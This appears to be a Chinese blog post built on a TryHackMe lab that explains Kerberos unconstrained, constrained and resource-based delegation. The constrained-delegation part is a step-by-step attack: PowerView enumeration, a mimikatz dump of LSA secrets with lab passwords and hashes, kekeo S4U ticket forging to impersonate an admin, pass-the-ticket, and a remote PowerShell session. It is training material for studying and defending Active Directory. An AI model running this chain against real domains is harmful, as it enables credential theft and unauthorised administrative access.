域渗透:《Kerberos(3):委派原理》 – kalpa0129

介绍

Kerberos 委派的实际用途是使一个应用程序可以访问托管在不同服务器上的资源

一个 WEB 服务器需要访问托管在 WEB 应用程序数据服务器上的一个 SQL 数据库,如果没有委托,那么我们可能会使用一个 AD 服务账户,并为这个账户提供对数据库的直接访问,当网络应用程序发出请求时,该服务账户将会被用来验证数据库并恢复信息

但是我们可以将这个服务账户委托给 SQL 服务器服务,一旦用户登录到我们的 WEB 应用程序,服务账户将代表该用户请求访问数据库,这意味着用户将只能访问他们拥有相关权限的数据库中的数据,而不需要向服务账户本身提供任何数据库权限或许可。

存在三种 Kerberos 委派:

  • 约束委派
  • 无约束委派
  • 基于资源的约束委派

kerberos之委派kerberos委派烟雨醉沉浮的博客-CSDN博客

无约束委派

在 Kerberos 委派的最初实现中,使用的就是 无约束委派,这是最不安全的方法。

从本质上讲,无约束委托对委托没有提供任何限制。在后台,如果一个设置了 “TRUSTED_FOR_DELEGATION “标志的用户对配置了无约束委托的主机进行认证,就会为该用户账户生成一个Ticket-granting ticket(TGT)并存储在内存中,以便以后需要时可以使用。假设一个攻击者可以破坏一个启用了无约束授权的主机。在这种情况下,他们可以试图强迫一个特权账户对主机进行认证,这将使他们能够拦截生成的TGT并冒充特权服务。

无约束委派利用

约束委派

为了解决无约束委派的的安全缺陷,微软在 2003 引入了 约束委派,约束委派限制了一个账户可以被委托给哪些服务,从而限制了账户被破坏时的风险, 以下是可以被配置为授权的服务的例子:

  • HTTP - 用于网络应用,允许使用AD凭证进行直通式验证。
  • CIFS - 通用互联网文件系统用于文件共享,允许将用户委托给共享。
  • LDAP - 用于委托给LDAP服务的操作,如重设用户的密码。
  • HOST - 允许委托账户进行主机上的所有活动。
  • MSSQL - 允许将用户账户委托给SQL服务,以便对数据库进行穿透式验证。

利用约束委派通常比利用无约束委派更复杂,因为被委派的账户不能用于一切。然而,它仍然可以被用于一些强大的利用。这方面的一个例子是,如果我们能够破坏一个配置了约束性委派的AD账户。通过知道这个账户的明文密码或甚至只是NTLM哈希值,我们可以为这个账户生成一个TGT,然后使用TGT为任何非敏感用户账户执行一个票据授予服务器(TGS)请求,以便作为该用户访问服务。想象一下,例如,冒充一个可以访问敏感数据库的账户。

约束委派利用

我们首先应该枚举可用的委派。

  1. PS C:\>Import-Module C:\Tools\PowerView.ps1
  2. PS C:\Tools> Get-NetUser -TrustedToAuth
  3. logoncount : 45
  4. badpasswordtime : 3/15/2023 5:49:35 AM
  5. distinguishedname : CN=IIS Server,CN=Users,DC=za,DC=tryhackme,DC=loc
  6. objectclass : {top, person, organizationalPerson, user}
  7. displayname : IIS Server
  8. lastlogontimestamp : 3/13/2023 1:46:09 PM
  9. userprincipalname : svcIIS@za.tryhackme.loc
  10. name : IIS Server
  11. objectsid : S-1-5-21-3885271727-2693558621-2658995185-6155
  12. samaccountname : svcIIS
  13. codepage : 0
  14. samaccounttype : USER_OBJECT
  15. accountexpires : NEVER
  16. countrycode : 0
  17. whenchanged : 3/13/2023 1:46:09 PM
  18. instancetype : 4
  19. usncreated : 78494
  20. objectguid : 11e42287-0a25-4d73-800d-b62e2d2a2a4b
  21. sn : Server
  22. lastlogoff : 1/1/1601 12:00:00 AM
  23. msds-allowedtodelegateto : {WSMAN/THMSERVER1.za.tryhackme.loc,
  24. WSMAN/THMSERVER1, http/THMSERVER1.za.tryhackme.loc,
  25. http/THMSERVER1}
  26. objectcategory : CN=Person,CN=Schema,CN=Configuration,DC=tryhackme,DC
  27. =loc
  28. dscorepropagationdata : 1/1/1601 12:00:00 AM
  29. serviceprincipalname : HTTP/svcServWeb.za.tryhackme.loc
  30. givenname : IIS
  31. lastlogon : 3/15/2023 5:51:40 AM
  32. badpwdcount : 0
  33. cn : IIS Server
  34. useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD,
  35. TRUSTED_TO_AUTH_FOR_DELEGATION
  36. whencreated : 4/27/2022 11:26:21 AM
  37. primarygroupid : 513
  38. pwdlastset : 4/29/2022 11:50:25 AM
  39. usnchanged : 147510
  40. PS C:\Tools>
根据此命令的输出,我们可以看到 svcIIS 帐户可以在 THMSERVER1 上委派 HTTP 和 WSMAN 服务。您可能会认为这意味着我们只能代表冒充用户访问网站。但是,PowerShell Remoting也使用HTTP和WSMAN服务。理想的选择是模拟第 1 层管理员,因为这将为我们提供对 THMSERVER1 的管理访问权限。 如果要对 THMWRK1 执行正确的利用后枚举,您会发现主机上有一个服务以 svcIIS 用户身份运行。由于我们现在具有管理访问权限,因此我们可以使用它来转储LSASecrets,这是Windows注册表配置单元的一部分,其中存储了Windows服务等功能的凭据。我们使用 mimikatz 转储凭证 shell C:\> C:\Tools\mimikatz_trunk\x64\mimikatz.exe .#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz # token::elevate Token Id : 0 User name : SID name : NT AUTHORITY\SYSTEM mimikatz # lsadump::secrets Domain : THMWRK1 SysKey : a1403e57976b472bce5f231922ca3942 Local name : THMWRK1 ( S-1-5-21-3226461851-763325627-4205969673 ) Domain name : ZA ( S-1-5-21-3885271727-2693558621-2658995185 ) Domain FQDN : za.tryhackme.loc Policy subsystem is : 1.18 LSA Key(s) : 1, default {cfcff4be-beab-7d93-cfa3-edb6a9a3bf27} [00] {cfcff4be-beab-7d93-cfa3-edb6a9a3bf27} 929bd1cdc726d31f5eea6fa5266a09521afd0be6309a08fd604c9a95c2af4463 Secret : $MACHINE.ACC cur/text: 0FFIKa"c[#L6T>=.s*ZW'Gz04FL&7,"VjxxhLeXqmI\%Q%c..g?=olZZlnTA#J@;*8+&?neR%>l_W!w&.oz@1MDJHs`&suI rmg,g GQsb%),mlWLo?6$kqP NTLM:4207d1b7e4b942da2371174b772fdf5e SHA1:c67c43d5a5d002f67371024ef1aa22db76ab44db old/text: 0FFIKa"c[#L6T>=.s*ZW'Gz04FL&7,"VjxxhLeXqmI\%Q%c..g?=olZZlnTA#J@;*8+&?neR%>l_W!w&.oz@1MDJHs`&suI rmg,g GQsb%),mlWLo?6$kqP NTLM:4207d1b7e4b942da2371174b772fdf5e SHA1:c67c43d5a5d002f67371024ef1aa22db76ab44db Secret : DefaultPassword old/text: vagrant Secret : DPAPI_SYSTEM cur/hex : 01 00 00 00 b6 54 c4 83 d9 88 10 f6 ee ae fc b7 ed 2d a2 d6 47 11 3f 8f 4a 6d 7f 72 35 b8 a2 93 3d 5c 5e 3f 03 8d 79 49 90 e7 2e e0 full: b654c483d98810f6eeaefcb7ed2da2d647113f8f4a6d7f7235b8a2933d5c5e3f038d794990e72ee0 m/u : b654c483d98810f6eeaefcb7ed2da2d647113f8f / 4a6d7f7235b8a2933d5c5e3f038d794990e72ee0 old/hex : 01 00 00 00 10 4d a3 82 e2 da 30 1f 33 d6 49 a4 c9 81 26 e5 25 59 bb 9f 8a 76 b1 5d 59 c6 87 c6 32 b7 02 0b c1 5b 24 f4 44 d0 74 31 full: 104da382e2da301f33d649a4c98126e52559bb9f8a76b15d59c687c632b7020bc15b24f444d07431 m/u : 104da382e2da301f33d649a4c98126e52559bb9f / 8a76b15d59c687c632b7020bc15b24f444d07431 Secret : NL$KM cur/hex : 10 bb 99 02 da 94 4a 26 cd ad 07 f3 62 64 53 5c a8 12 be e3 16 1f 8f 99 ae ab 97 37 c4 bc ee df 63 7c 2f 6d 07 c5 d9 5e 29 e7 ce ce 48 52 47 19 8a 03 99 ff 97 ec 7f 49 a1 79 15 d9 a0 04 ac 58 old/hex : 10 bb 99 02 da 94 4a 26 cd ad 07 f3 62 64 53 5c a8 12 be e3 16 1f 8f 99 ae ab 97 37 c4 bc ee df 63 7c 2f 6d 07 c5 d9 5e 29 e7 ce ce 48 52 47 19 8a 03 99 ff 97 ec 7f 49 a1 79 15 d9 a0 04 ac 58 Secret : _SC_thmwinauth / service 'thmwinauth' with username : svcIIS@za.tryhackme.loc cur/text: Password1@ > + token::elevate 如果从注册表配置单元转储机密,我们需要模拟 SYSTEM 用户 > + lsadump::secrets Mimikatz 与注册表配置单元交互以提取明文凭证 > 现在我们可以访问与 svcIIS 账户关联的密码,我们可以执行 Kerberos 委派攻击,我们可以使用 Kekeo 和 Mimikatz 的组合,我们使用 KeKeo 生成我们的票证,然后使用 Mimikatz 将这些票证加载到内存中 我们首先需要生成一个可用于生成 HTTP 和 WSMAN 服务票证的 TGT:
  1. PS C:\> C:\Tools\kekeo\x64\kekeo.exe
  2. ___ _ kekeo 2.1 (x64) built on Dec 14 2021 11:51:55
  3. / ('>- "A La Vie, A L'Amour"
  4. | K | /* * *
  5. \____/ Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
  6. L\_ https://blog.gentilkiwi.com/kekeo (oe.eo)
  7. with 10 modules * * */
  8. kekeo # tgt::ask /user:svcIIS /domain:za.tryhackme.loc /password:Password1@
  9. Realm : za.tryhackme.loc (za)
  10. User : svcIIS (svcIIS)
  11. CName : svcIIS [KRB_NT_PRINCIPAL (1)]
  12. SName : krbtgt/za.tryhackme.loc [KRB_NT_SRV_INST (2)]
  13. Need PAC : Yes
  14. Auth mode : ENCRYPTION KEY 23 (rc4_hmac_nt ): 43460d636f269c709b20049cee36ae7a
  15. [kdc] name: THMDC.za.tryhackme.loc (auto)
  16. [kdc] addr: 172.31.1.101 (auto)
  17. > Ticket in file 'TGT_svcIIS@ZA.TRYHACKME.LOC_krbtgt~za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi'

现在我们有了可以执行委派的账户的 TGT,我们可以为要模拟的账户伪造 TGS 请求。我们需要为 HTTP 和 WSMAN 执行此操作,以允许我们在 THMSERVER1 上创建 PSSession:

  1. kekeo # tgs::s4u /tgt:TGT_svcIIS@ZA.TRYHACKME.LOC_krbtgt~za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi /user:t1_trevor.jones /service:http/THMSERVER1.za.tryhackme.loc
  2. Ticket : TGT_svcIIS@ZA.TRYHACKME.LOC_krbtgt~za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi
  3. [krb-cred] S: krbtgt/za.tryhackme.loc @ ZA.TRYHACKME.LOC
  4. [krb-cred] E: [00000012] aes256_hmac
  5. [enc-krb-cred] P: svcIIS @ ZA.TRYHACKME.LOC
  6. [enc-krb-cred] S: krbtgt/za.tryhackme.loc @ ZA.TRYHACKME.LOC
  7. [enc-krb-cred] T: [4/30/2022 1:29:00 PM ; 4/30/2022 11:29:00 PM] {R:5/7/2022 1:29:00 PM}
  8. [enc-krb-cred] F: [40e10000] name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
  9. [enc-krb-cred] K: ENCRYPTION KEY 18 (aes256_hmac ): 548e500d4ee2f5c61710254ea9dd43e2ce0123026d329c97e512695e2f1777a7
  10. [s4u2self] t1_trevor.jones
  11. [kdc] name: THMDC.za.tryhackme.loc (auto)
  12. [kdc] addr: 172.31.1.101 (auto)
  13. > Ticket in file 'TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_svcIIS@ZA.TRYHACKME.LOC.kirbi'
  14. Service(s):
  15. [s4u2proxy] http/THMSERVER1.za.tryhackme.loc
  16. > Ticket in file 'TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_http~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi'
  1. kekeo # tgs::s4u /tgt:TGT_svcIIS@ZA.TRYHACKME.LOC_krbtgt~za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi /user:t1_trevor.jones /service:WSMAN/THMSERVER1.za.tryhackme.loc
  2. Ticket : TGT_svcIIS@ZA.TRYHACKME.LOC_krbtgt~za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi
  3. [krb-cred] S: krbtgt/za.tryhackme.loc @ ZA.TRYHACKME.LOC
  4. [krb-cred] E: [00000012] aes256_hmac
  5. [enc-krb-cred] P: svcIIS @ ZA.TRYHACKME.LOC
  6. [enc-krb-cred] S: krbtgt/za.tryhackme.loc @ ZA.TRYHACKME.LOC
  7. [enc-krb-cred] T: [4/30/2022 1:29:00 PM ; 4/30/2022 11:29:00 PM] {R:5/7/2022 1:29:00 PM}
  8. [enc-krb-cred] F: [40e10000] name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
  9. [enc-krb-cred] K: ENCRYPTION KEY 18 (aes256_hmac ): 548e500d4ee2f5c61710254ea9dd43e2ce0123026d329c97e512695e2f1777a7
  10. [s4u2self] t1_trevor.jones
  11. [kdc] name: THMDC.za.tryhackme.loc (auto)
  12. [kdc] addr: 172.31.1.101 (auto)
  13. > Ticket in file 'TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_svcIIS@ZA.TRYHACKME.LOC.kirbi'
  14. Service(s):
  15. [s4u2proxy] http/THMSERVER1.za.tryhackme.loc
  16. > Ticket in file 'TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_WSMAN~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi'
  • tgt 上一步中生成的 tgt
  1. mimikatz # privilege::debug
  2. Privilege '20' OK
  3. mimikatz # kerberos::ptt TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_wsman~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi
  4. * File: 'TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_wsman~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi': OK
  5. mimikatz # kerberos::ptt TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_http~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi
  6. * File: 'TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_http~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi': OK

如果要验证票证是否已导入,可以退出 Mimikatz 并运行 <font style="color:rgb(33, 37, 41);">klist</font>

  1. mimikatz # exit
  2. Bye!
  3. PS C:> New-PSSession -ComputerName thmserver1.za.tryhackme.loc
  4. Id Name ComputerName ComputerType State ConfigurationName Availability
  5. -- ---- ------------ ------------ ----- ----------------- ------------
  6. 1 WinRM1 thmserver1.z... RemoteMachine Opened Microsoft.PowerShell Available
  7. PS C:\> Enter-PSSession -ComputerName thmserver1.za.tryhackme.loc
  8. [thmserver1.za.tryhackme.loc]: PS C:\Users\t1_trevor.jones\Documents> whoami
  9. za\t1_trevor.jones

基于资源的约束委派

这个其实是 约束委派的进化体,微软在 2012 推出的基于资源的约束委托 (RBCD) 再次为 Kerberos 委托提供了额外的限制,RBCD 完全该百年了委托模型。 现在,服务不再指定哪个对象可以委托给哪个服务,而是指定哪些对象可以委托给它。这使得服务所有者可以控制谁可以访问它。在我们的网络应用程序的例子中,这意味着我们现在可以在数据库服务上指定网络服务账户可以委托给数据库服务来访问数据库,而不是指定网络服务账户允许委托给它。

比方说,我们有权限为一个服务配置RBCD。这意味着我们有能力为AD对象设置msDS-AllowedToActOnBehalfOfOtherIdentity属性。我们可以用我们可以访问的AD账户的细节来填充这个属性。现在要获得对服务的访问,我们可以为我们控制的账户生成一个TGT,这将允许我们与这个服务进行交互

Resource-Based Constrained Delegation Abuse

参考

TryHackMe | Cyber Security Training